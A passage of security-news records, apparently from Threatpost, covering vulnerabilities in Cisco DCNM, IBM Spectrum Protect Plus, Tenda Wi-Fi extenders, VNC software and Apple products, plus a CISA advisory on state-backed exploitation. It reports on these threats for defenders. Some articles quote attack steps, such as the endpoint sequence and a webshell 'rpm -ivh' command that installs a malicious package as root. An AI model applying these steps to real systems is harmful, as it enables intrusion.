post](<https://srcincite.io/blog/2020/01/14/busting-ciscos-beans-hardcoding-your-way-to-hell.html>).\n\n\u201cIn the third chain, I (ab)use the java.lang.InheritableThreadLocal class to perform a shallow copy to gain access to a valid session.\u201d\n\n## The Flaws\n\nTwo of the flaws ([CVE-2019-15975](<https://www.tenable.com/cve/CVE-2019-15975>) and [CVE-2019-15976](<https://www.tenable.com/cve/CVE-2019-15976>)) are authentication bypass vulnerabilities in the REST API and SOAP API endpoints for Cisco DCNM. Representational State Transfer (REST) is an architecture style for designing networked applications, [according to RestFulApi.net;](<https://restfulapi.net/>) while Simple Object Access Protocol (SOAP) is a standard communication protocol system that allows processes using different operating systems (like Linux and Windows) to communicate via HTTP and its XML, according to a [DZone description](<https://dzone.com/articles/difference-between-rest-and-soap-api>). The flaw stems specifically from the existence of a static encryption key shared between REST API and SOAP API installations.\n\nThe third bug ([CVE-2019-15976](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15976>)) is described by Cisco as \u201cdata center network manager authentication bypass vulnerability.\u201d This flaw exists in the web-based management interface of the DCNM, allowing an unauthenticated, remote attacker to bypass authentication on an affected device.\n\n## PoC Exploit\n\nSeeley said he was able to exploit the flaw by targeting two different setups of DCNM \u201cbecause some code paths and exploitation techniques were platform specific.\u201d Those two were the Cisco DCNM installer for Windows and DCNM ISO Virtual Appliance for VMWare servers (both were DCNM version 11.2, released June 18, 2019).\n\n> I'm excited to share my post about discovering & exploiting multiple critical vulnerabilities in Cisco's DCNM. \n> \n> Busting Cisco's Beans :: Hardcoding Your Way to Hell <https://t.co/EkwwJ2u195>\n> \n> PoC exploit code:<https://t.co/Xsae7j8xkl><https://t.co/5LxxCEtnRE><https://t.co/8i5u1kLcEi>\n> \n> \u2014 \u03fb\u0433_\u03fb\u03b5 (@steventseeley) [January 14, 2020](<https://twitter.com/steventseeley/status/1217113588294410243?ref_src=twsrc%5Etfw>)\n\nSeeley said that he was able to control all the elements to forge his own token and then use a hardcoded key to generate a Single Sign-On Token (ssoToken), which allowed him to bypass authentication.\n\nFrom there, he could \u201csend a SOAP request to the /DbAdminWSService/DbAdminWS endpoint and add a global admin user that will give us access to all interfaces,\u201d he said.\n\nWith the PoC exploit code now available, Cisco is urging customers to update. The networking giant [released software updates](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200102-dcnm-auth-bypass>) patching the vulnerabilities earlier this month,\n\n\u201cThe Cisco Product Security Incident Response Team (PSIRT) is aware that proof-of-concept exploit code is available for the vulnerabilities that are described in this advisory,\u201d according to Cisco\u2019s advisory, which was updated on Wednesday.\n\n**_Concerned about mobile security? _**[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) **_Top 8 Best Practices for Mobile App Security, on Jan. 22 at 2 p.m. ET. Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts from Secureworks and White Ops to discuss the secrets of building a secure mobile strategy, one app at a time. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)**_._**\n\n**Share this article:**\n\n * [Editor's Picks](<https://threatpost.com/category/editors-picks/>)\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n", "cvss3": {}, "published": "2020-01-16T22:18:51", "type": "threatpost", "title": "Critical Cisco Flaws Now Have PoC Exploit", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-15975", "CVE-2019-15976", "CVE-2019-15977", "CVE-2020-1472", "CVE-2020-5135"], "modified": "2020-01-16T22:18:51", "id": "THREATPOST:E95FF75420C541DF65D4D795CF73B5CE", "href": "https://threatpost.com/cisco-dcnm-flaw-exploit/151949/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:19:31", "description": "The U.S. government is warning that Chinese threat actors have successfully compromised several government and private sector entities in recent months, by exploiting vulnerabilities in F5 BIG-IP devices, Citrix and Pulse Secure VPNs and Microsoft Exchange servers.\n\nPatches are currently available for all these flaws \u2013 and in some cases, have been available for over a year \u2013 however, the targeted organizations had not yet updated their systems, leaving them vulnerable to compromise, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a Monday advisory. CISA claims the attacks were launched by threat actors affiliated with the Chinese Ministry of State Security.\n\n[![Threatpost Webinar Promo Bug Bounty](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/04091928/bounty_webinar_promo_small.gif)](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats,\u201d according to a [Monday CISA advisory](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>). \u201cImplementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems.\u201d\n\nNo further details on the specific hacked entities were made public. The threat actors have been spotted successfully exploiting two common vulnerabilities \u2013 allowing them to compromise federal government and commercial entities, according to CISA.\n\nThe first is a vulnerability (CVE-2020-5902) in [F5\u2019s Big-IP Traffic Management User Interface](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>), which allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code. As of July, about 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices [were still vulnerable](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to the critical flaw.\n\nFeds also observed the attackers exploiting an [arbitrary file reading vulnerability](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) affecting Pulse Secure VPN appliances (CVE-2019-11510). This flaw \u2013 speculated to be the [cause of the Travelex breach](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) earlier this year \u2013 allows bad actors to gain access to victim networks.\n\n\u201cAlthough Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where [compromised Active Directory credentials](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) were used months after the victim organization patched their VPN appliance,\u201d according to the advisory.\n\nThreat actors were also observed hunting for [Citrix VPN Appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) vulnerable to CVE-2019-19781, which is a flaw that enables attackers to execute directory traversal attacks. And, they have also been observed attempting to exploit a [Microsoft Exchange server](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>) remote code execution flaw (CVE-2020-0688) that allows attackers to collect emails of targeted networks.\n\nAs part of its advisory, CISA also identified common TTPs utilized by the threat actors. For instance, threat actors have been spotted using [the Cobalt Strike commercial penetration testing tool](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to target commercial and federal government networks; they have also seen the actors successfully deploying the [open-source China Chopper tool](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) against organization networks and using [open-source tool Mimikatz](<https://threatpost.com/wipro-attackers-under-radar/144276/>).\n\nThe initial access vector for these cyberattacks vary. CISA said it has observed threat actors utilize malicious links in spearphishing emails, as well as exploit public facing applications. In one case, CISA observed the threat actors scanning a federal government agency for vulnerable web servers, as well as scanning for known vulnerabilities in network appliances (CVE-2019-11510). CISA also observed threat actors scanning and performing reconnaissance of federal government internet-facing systems shortly after the disclosure of \u201csignificant CVEs.\u201d\n\nCISA said, maintaining a rigorous patching cycle continues to be the best defense against these attacks.\n\n\u201cIf critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network,\u201d according to the advisory.\n\nTerence Jackson, CISO at Thycotic, echoed this recommendation, saying the advisory sheds light on the fact that organizations need to keep up with patch management. In fact, he said, according to a recent [Check Point report](<https://www.checkpoint.com/downloads/resources/cyber-attack-trends-report-mid-year-2020.pdf?mkt_tok=eyJpIjoiTldNM05UWTJOelEwTnpZeCIsInQiOiJTSVY0QTBcL0d1UnpKcXM1UzZRRnRRV1RBV1djcnArM3BWK0VrUlQyb2JFVkJka05EWFhGOFpSSVJOZGszcnlpVFNVNVBwSjZDRXNxZGdkTGRKQzJJem4yYWlBQXJERUdkNDNrZEJDWGxNVUZ3WWt5K25vc2trRnNPNFZaY3JzOE8ifQ%3D%3D>), 80 percent of observed ransomware attacks in the first half of 2020 used vulnerabilities reported and registered in 2017 and earlier \u2013 and more than 20 percent of the attacks used vulnerabilities that are at least seven years old.\n\n\u201cPatch management is one of the fundamentals of security, however, it is difficult and we are still receiving a failing grade. Patch management, enforcing MFA and least privilege are key to preventing cyber-attacks in both the public and private sectors,\u201d he told Threatpost.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-14T21:20:46", "type": "threatpost", "title": "Feds Warn Nation-State Hackers are Actively Exploiting Unpatched Microsoft Exchange, F5, VPN Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5135", "CVE-2020-5902"], "modified": "2020-09-14T21:20:46", "id": "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "href": "https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:25:23", "description": "Apple\u2019s latest security fixes, [released Tuesday](<https://support.apple.com/en-us/HT201222>), tackle a wide range of bugs, including several patches for high-risk flaws that could allow for remote code execution (RCE). Of particular interest to privacy-minded iPhone 11 users is an iOS 13.3.1 update that allows users to turn off U1 Ultra-Wideband device tracking.\n\nThe fixes address vulnerabilities in Apple\u2019s Xcode, watchOS, Safari, iTunes for Windows, iOS, iPadOS, macOS and tvOS. The most severe of the bugs include four RCE flaws in Apple TV\u2019s operating system, tvOS \u2013 each rated high-severity.\n\nTracked as [CVE-2020-3868](<https://exchange.xforce.ibmcloud.com/vulnerabilities/175187>), one tvOS RCE bug has a CVSS severity score of 8.8 out of 10, the highest among those patched Tuesday. The bug is tied to multiple memory corruption issues in Apple\u2019s browser engine, WebKit. \u201cBy persuading a victim to visit a specially crafted website, an attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service,\u201d according [a description of the flaw](<https://exchange.xforce.ibmcloud.com/vulnerabilities/175187>). \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe other tvOS code execution bugs ([CVE-2020-3840](<https://exchange.xforce.ibmcloud.com/vulnerabilities/175191>), [CVE-2020-3870](<https://exchange.xforce.ibmcloud.com/vulnerabilities/175183>), [CVE-2020-3878](<https://exchange.xforce.ibmcloud.com/vulnerabilities/175184>)) all have a CVSS rating of 7.8. Two of the RCE vulnerabilities are tied to Imageio Python libraries tvOS, and the other is tied to Apple\u2019s use of the secure network protocol suite IPSec.\n\n## **Off Switch for Tracking via U1 Ultra Wideband**\n\nLast December, KrebsOnSecurity [first reported a tracking mechanism](<https://krebsonsecurity.com/2019/12/the-iphone-11-pros-location-data-puzzler/>) in the iPhone 11 family of handsets. The tracking took place whether or not an iPhone 11 user turned off the handset\u2019s location services. After some sleuthing by the site\u2019s author, Brian Krebs, he determined the tracking feature was tied to the use of Apple\u2019s own U1 chip, which was introduced in 2019 and used for the first time in iPhone 11S.\n\nThe U1 chips uses Ultra-Wideband technology and aims to improve the performance of Apple services such as AirDrop. The U1 goes so far as to provide precise location and spatial awareness of the iPhone 11\u2019s position relative to other Apple devices in the same room. This allows someone to point their iPhone 11 at another iPhone 11 and have that device automatically show up at the top of the AirDrop list for transferring files \u2013 no manual discovery needed.\n\nUsers voiced concerns that the new chip allowed for tracking iPhone 11 users\u2019 locations. To address the issue, Apple has now added a switch to disable location tracking for networking and wireless functions. With the release of iOS 13.3.1, users can now turn off the tracking feature, either when turning off location services or selectively. To turn it off, users can go to Settings > Privacy > Location Services > System Services.\n\nTuesday\u2019s security updates come on the heels of several staggered iOS 13 updates. In their wake, Apple has faced criticism for what critics see as a piecemeal release of the OS. Last month Apple updated the OS to iOS 13.3, which marked the third update to the iOS and iPadOS 13 since it debuted in on Sept. 19. Since iOS 13\u2019s release, Apple has also had to issue a number of security patches, including ones for a [keyboard bug](<https://threatpost.com/bug-granting-full-access-keyboards/148638/>) and a [lock-screen bypass flaw](<https://threatpost.com/iphone-ios-13-lockscreen-bypass/148332/>).\n", "cvss3": {}, "published": "2020-01-29T22:09:30", "type": "threatpost", "title": "Apple Security Updates Tackle iOS Device Tracking, RCE Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-3840", "CVE-2020-3868", "CVE-2020-3870", "CVE-2020-3878", "CVE-2020-5135"], "modified": "2020-01-29T22:09:30", "id": "THREATPOST:ABBA6B89522F29EE1F01F3D010F46FC0", "href": "https://threatpost.com/apple-patches-ios-device-tracking/152364/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:13:56", "description": "IBM has issued fixes for vulnerabilities in Spectrum Protect Plus, Big Blue\u2019s security tool found under the umbrella of its Spectrum data storage software branding. The flaws can be exploited by remote attackers to execute code on vulnerable systems.\n\nIBM Spectrum Protect Plus is a data-protection solution that provides near-instant recovery, replication, reuse and self-service for virtual machines. The vulnerabilities (CVE-2020-4703 and CVE-2020-4711) affect versions 10.1.0 through 10.1.6 of IBM Spectrum Protect Plus.\n\n[![Threatpost Webinar Promo Bug Bounty](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/04091928/bounty_webinar_promo_small.gif)](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\nThe more serious of the two flaws (CVE-2020-4703) exists in IBM Spectrum Protect Plus\u2019 Administrative Console and could allow an authenticated attacker to upload arbitrary files \u2013 which could then be used to execute arbitrary code on the vulnerable server, according to researchers with Tenable, who discovered the flaws, [in a Monday advisory](<https://www.tenable.com/security/research/tra-2020-54>). The bug ranks 8 out of 10 on the CVSS scale, making it high-severity.\n\nThis vulnerability is due to an incomplete fix for CVE-2020-4470, a high-severity flaw [that was previously disclosed in June](<https://nvd.nist.gov/vuln/detail/CVE-2020-4470>). An exploit for CVE-2020-4470 involves two operations, Tenable researchers said: \u201cThe first operation is to upload a malicious RPM package to a directory writable by the administrator account by sending an HTTP POST message to URL endpoint https://<spp_host>:8090/api/plugin,\u201d they said. \u201cThe second operation is to install the malicious RPM by sending an HTTP POST message to URL endpoint http://<spp_host>:8090/emi/api/hotfix.\u201d\n\nBut IBM\u2019s ensuing fix for CVE-2020-4470 only addressed the second operation by enforcing authentication for the /emi/api/hotfix endpoint. Researchers found, it was still possible to upload unauthenticated arbitrary files to a directory writable by the administrator account, under which the endpoint handlers run \u2013 paving the way for code execution on vulnerable systems.\n\n\u201cThe attacker can put malicious content (i.e., scriptlets) in the RPM and and issue a \u2018sudo /bin/rpm -ivh /tmp/<uploaded_malicious_rpm>\u2019 command to the webshell, achieving unauthenticated RCE as root,\u201d said researchers.\n\nThe second flaw, CVE-2020-4711, exists in a script (/opt/ECX/tools/scripts/restore_wrapper.sh) within Spectrum Protect Plus. A directory path check within this function can be bypassed via path traversal. An unauthenticated, remote attacker can exploit this issue by sending a specially crafted HTTP request to a specially-crafted URL endpoint (https://<spp_host>:8090/catalogmanager/api/catalog), Tenable researchers said.\n\nThat endpoint doesn\u2019t require any authentication (when the cmode parameter is the restorefromjob method). When the request has been sent, the endpoint handler instead calls a method (com.catalogic.ecx.catalogmanager.domain.CatalogManagerServiceImpl.restoreFromJob) without checking for user credentials. The restoreFromJob method then executes the /opt/ECX/tools/scripts/restore_wrapper.sh script as root \u2013 allowing the attacker to view arbitrary files on the system.\n\nTenable researchers discovered the flaws on July 31 and reported them to IBM on Aug. 18. IBM released the patches and an advisory disclosing the flaws on Monday. Threatpost has reached out to IBM for further comment.\n\nIn recent months, various IBM products have been found to have security vulnerabilities. In August, a shared-memory flaw was discovered in [IBM\u2019s next-gen data-management software](<https://threatpost.com/ibm-ai-powered-data-management-software-subject-exploit/158497/>) that researchers said could lead to other threats \u2014 as demonstrated by a new proof-of-concept exploit for the bug.\n\nAnd in April, four serious security vulnerabilities in [the IBM Data Risk Manager](<https://threatpost.com/rce-exploit-ibm-data-risk-manager-no-patch/154986/>) (IDRM) were identified that can lead to unauthenticated remote code execution (RCE) as root in vulnerable versions, according to analysis \u2013 and a proof-of-concept exploit is available.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-15T19:08:13", "type": "threatpost", "title": "IBM Spectrum Protect Plus Security Open to RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-4470", "CVE-2020-4703", "CVE-2020-4711", "CVE-2020-5135"], "modified": "2020-09-15T19:08:13", "id": "THREATPOST:033645C929899D29D91092278D188D8E", "href": "https://threatpost.com/ibm-flaws-spectrum-protect-plus/159268/", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:17:39", "description": "A popular Wi-Fi extender for the home has multiple unpatched vulnerabilities, including the use of a weak, default password, according to researchers. Also, two of the bugs could allow complete remote control of the device.\n\nThe flaws have been found in Tenda PA6 Wi-Fi Powerline extender, version 1.0.1.21, which extends the wireless network throughout the house using [HomePlug AV2](<https://en.wikipedia.org/wiki/HomePlug>) technology.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cA compromised device can become part of an internet of things (IoT) botnet that launches distributed denial-of-service (DDoS) attacks, used to pivot to other connected devices, leveraged to mine for cryptocurrency or used in various other unauthorized ways,\u201d explained researchers at IBM X-Force, [in a posting](<https://securityintelligence.com/posts/vulnerable-powerline-extenders-underline-lax-iot-security/>) last week.\n\n## **Web Server Woes**\n\nThe first two bugs are a command-injection issue ([CVE-2019-16213](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172226?_ga=2.159458491.740009505.1593441219-1535918128.1584710346&cm_mc_uid=31770786977815754792789&cm_mc_sid_50200000=45644951593441218861>)); and a critical buffer overflow ([CVE-2019-19505](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172228?_ga=2.159458491.740009505.1593441219-1535918128.1584710346&cm_mc_uid=31770786977815754792789&cm_mc_sid_50200000=45644951593441218861>)). They are found in the extender device\u2019s web server, under a process named \u201chttpd.\u201d\n\nThe command-injection vulnerability carries a rating of 8.8 out of 10 on the CVSS severity scale. It arises from the fact that under the \u201cPowerline\u201d section in the user interface (UI) of the extender\u2019s web server, the user can see and change the name of the other powerline communication (PLC) devices which are attached to the same powerline network. An authenticated user can inject an arbitrary command just by changing the device name of an attached PLC adapter with a specially crafted string, the researchers noted. Since the web server is running with root privileges, an attacker could leverage this injection to fully compromise the device.\n\n\u201cThe name entered by the user is concatenated as an argument to the \u2018homeplugctl\u2019 application and being executed by the system\u2019 library function,\u201d according to IBM X-Force. \u201cThis user input is just URL decoded, without any validation or sanitation.\u201d\n\nThe second vulnerability is found in the \u201cWireless\u201d section in the web-UI: By adding a device to the Wireless Access Control list with a specially crafted hostname, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. It\u2019s listed as critical, with a 9.8 severity rating.\n\n\u201cIt is possible to overwrite the return address register $ra and begin controlling program execution,\u201d according to the analysis. \u201cA motivated attacker can utilize this to potentially execute arbitrary code. Note that the overflow isn\u2019t a result of an unsafe call to functions like strcpy or memcpy.\u201d\n\n## **Pivoting to a Remote Attack**\n\nBoth bugs are post-authentication \u2013 so a user would need to be signed in to exploit the bugs. But there\u2019s a big caveat to this: The web server itself is password-protected with the default (and very guessable) password \u201cadmin.\u201d\n\n\u201cBoth vulnerabilities in this web-UI allow an authenticated user to compromise the device with root privileges, and while authentication should provide a layer of security, in this case, with a weak and guessable password, it should not be considered adequate protection,\u201d explained the researchers.\n\nSimilarly, the web server interface should only be accessible from the local network \u2013 however, a wrong setup and configuration can expose it to the internet and therefore remote attackers. And, IBM X-Force found that combining these vulnerabilities with a DNS rebinding technique provides the attacker with a remote vector that doesn\u2019t depend on the user\u2019s configuration.\n\n\u201cThat remote attack vector is not far-fetched here, and using a technique called DNS rebinding, we were able to perform the same attack from a remote website, overcoming same-origin limitations by the browser,\u201d said the researchers. \u201cWith this known technique, once the victim is tricked into visiting a malicious website, their entire local network is exposed to the attacker.\u201d\n\nDNS rebinding involves using a malicious JavaScript payload to scan the local network looking for vulnerable powerline extenders. If found, a login could be attempted using a list of popular passwords.\n\n\u201cIn our demo we were able to get a reverse shell on the vulnerable device just by having someone with access to the device\u2019s network visit our website,\u201d said the researchers. This is significant as it allows an attacker to gain control over the vulnerable devices remotely just by having the victim visit a website.\u201d\n\n## **Pre-Auth Denial of Service**\n\nThe third vulnerability ([CVE-2019-19506](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172229?_ga=2.159458491.740009505.1593441219-1535918128.1584710346&cm_mc_uid=31770786977815754792789&cm_mc_sid_50200000=45644951593441218861>)), which rates 7.5 out of 10 on the severity scale, resides in a process named \u201chomeplugd,\u201d which is related to the extender device\u2019s powerline functionality. By sending a specially crafted UDP packet, an attacker could exploit this vulnerability to cause the device to reboot. By causing a recurring reboot, the device will loop through restarts and not be able to carry out its functions or connect to the internet.\n\nUnlike the other two bugs, an attacker in this case would not need to be authenticated.\n\n\u201cAs we were inspecting the open ports and their corresponding services on the extender, we noticed the homeplugd process listening on UDP port 48912,\u201d according to the analysis. \u201cReversing the binary revealed to us that no authentication was required to interact with this service.\u201d\n\n## **Patch Status**\n\nThere are for now no patches for the issues.\n\n\u201cUnfortunately, despite repeated attempts to contact Tenda, IBM is yet to receive any reply to its emails and phone calls,\u201d the researchers said. \u201cIt remains unknown whether the company is working on patches.\u201d\n\nThreatpost has also reached out to the vendor for more information.\n\nTo protect themselves, users should change default passwords on all devices that connect to the internet; update firmware regularly; and use use internal filtering controls or a firewall.\n\n\u201cWhile most flaws in popular software are addressed and patched, devices like powerline extenders, [and even routers](<https://threatpost.com/cisco-ios-xe-flaw-sd-wan-routers/155319/>), do not seem to receive the same treatment, and are all too often left exposed to potential attacks,\u201d the researchers concluded. \u201cBut these devices are not just a connectivity plug on the edge of the network. A critical enough vulnerability can be leveraged to reach other parts of the network. That is especially true for routers, but it also extends to other devices that have some sort of interface into the network.\u201d\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-06-29T16:48:17", "type": "threatpost", "title": "Unpatched Wi-Fi Extender Opens Home Networks to Remote Control", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-16213", "CVE-2019-19505", "CVE-2019-19506", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-06-29T16:48:17", "id": "THREATPOST:7FC78356FBFC440CD45BB996E2A8A5C8", "href": "https://threatpost.com/unpatched-wi-fi-extender-remote-control/156990/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:28:33", "description": "The open-source Virtual Network Computing (VNC) project, often found in industrial environments, is plagued with 37 different memory-corruption vulnerabilities \u2013 many of which are critical in severity and some of which could result in remote code execution (RCE). According to researchers at Kaspersky, they potentially affect 600,000 web-accessible servers in systems that use the code.\n\nThe research looked into four popular VNC-based systems, LibVNC, UltraVNC, TightVNC1.X and TurboVNC, which are actively used in automated industrial facilities to enable remote control of systems, according to the firm. Approximately 32 percent of industrial network computers having some form of [remote administration tools](<https://threatpost.com/trickbot-remote-desktop/141879/>), including VNC.\n\n\u201cThe prevalence of such systems in general, and particularly ones that are vulnerable, is a significant issue for the industrial sector as potential damages can bring significant losses through disruption of complex production processes,\u201d Kaspersky researchers wrote in an analysis of the bugs for ICS CERT, [released Friday](<https://ics-cert.kaspersky.com/reports/2019/11/22/vnc-vulnerability-research/>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nKasperksy found vulnerabilities not only in the client, but also on the server-side of the system; many of the latter however can only be exploited after password authentication. Across all 37 bugs, there are two main attack vectors, the firm said: \u201cAn attacker is on the same network with the VNC server and attacks it to gain the ability to execute code on the server with the server\u2019s privileges; [or] a user connects to an attacker\u2019s \u2018server\u2019 using a VNC client and the attacker exploits vulnerabilities in the client to attack the user and execute code on the user\u2019s machine.\u201d\n\nA significant number of the problems detailed in the research were found and reported last year; however, each of the projects examined also had newly discovered bugs.\n\nFor instance, a newly found critical (9.8 out of 10 on the CVSS v.3 severity rating scale) database stack buffer overflow vulnerability in the TurboVNC server code could result in RCE. The issue ([CVE-2019-15683](<https://nvd.nist.gov/vuln/detail/CVE-2019-15683>)) exists because the stack frame is not protected with a stack canary. However, to exploit the bug, authorization on the server is required.\n\n\u201cSome compilers perform\u2026optimizations by removing stack canary checks from the functions that don\u2019t have explicitly allocated arrays,\u201d according to the research. \u201cHowever, the compiler could make a mistake and fail to check for the presence of a buffer in some of the structures on the stack or in switch-case statements.\u201d\n\nAlso, a critical integer-overflow vulnerability ([CVE-2018-15361](<https://nvd.nist.gov/vuln/detail/CVE-2018-15361>)) exists in UltraVNC client-side code. This is also critical, with a CVSS rating of 9.8 out of 10, and can be exploited to cause a denial-of-service state. Researchers also \u201cwouldn\u2019t rule out that experts in exploiting the Windows userland heap could turn this vulnerability into an RCE if they wanted to.\u201d\n\n\u201cIf an integer overflow occurs when allocating m_desktopName and the buffer is allocated on the regular heap of the process, this will make it possible to write the null byte to the previous chunk,\u201d according to the research. \u201cIf an integer overflow does not occur and the system has sufficient memory, a large buffer will be allocated, with a new heap allocated for it. With the right parameters, a remote attacker would be able to write a null byte to the _NT_HEAP structure, which will be located directly before a huge chunk.\u201d\n\nMeanwhile, the [CVE-2019-8262](<https://nvd.nist.gov/vuln/detail/CVE-2019-8262>) critical vulnerability (with a CVSS score of 9.8 out of 10) was identified in the handler of data encoded using the UltraVNC encoding function that could cause information disclosure.\n\n\u201cThe uninitialized variable new_len is passed to the lzo1x_decompress function,\u201d according to the research. \u201cAt the time of calling the function, the variable should be equal to the length of the m_zlibbuf buffer\u2026since the variable new_len was not initialized, it contained a large text section address value. This made it possible for a remote user to pass specially crafted data to the decompression function as inputs to ensure that the function, when writing to the m_zlibbuf buffer, would write the data beyond the buffer\u2019s boundary, resulting in heap overflow.\u201d\n\nIn TightVNC code version 1.3.10, there\u2019s a critical global buffer overflow ([CVE-2019-8287](<https://nvd.nist.gov/vuln/detail/CVE-2019-8287#vulnCurrentDescriptionTitle>)) in HandleCoRREBBP macro function, also with a CVSS rating of 9.8 out of 10. This can also potentially result RCE, Kaspersky found.\n\nResearchers also recently found a high-severity flaw in LibVNC ([CVE-2019-15681](<https://nvd.nist.gov/vuln/detail/CVE-2019-15681>)), with a CVSS rating of 7.7 out of 10. It involves a memory leak exploitable via network connectivity in the VNC server code, which allows an attacker to read stack memory and can be abused for information disclosure. According to the advisory, combined with another vulnerability, it can be used to leak stack memory and bypass ASLR.\n\nWorryingly, some of the bugs had been incorporated into the VNC code for years, meaning that projects built on it have \u201cinherited\u201d the issues.\n\n\u201cI was surprised to see the simplicity of 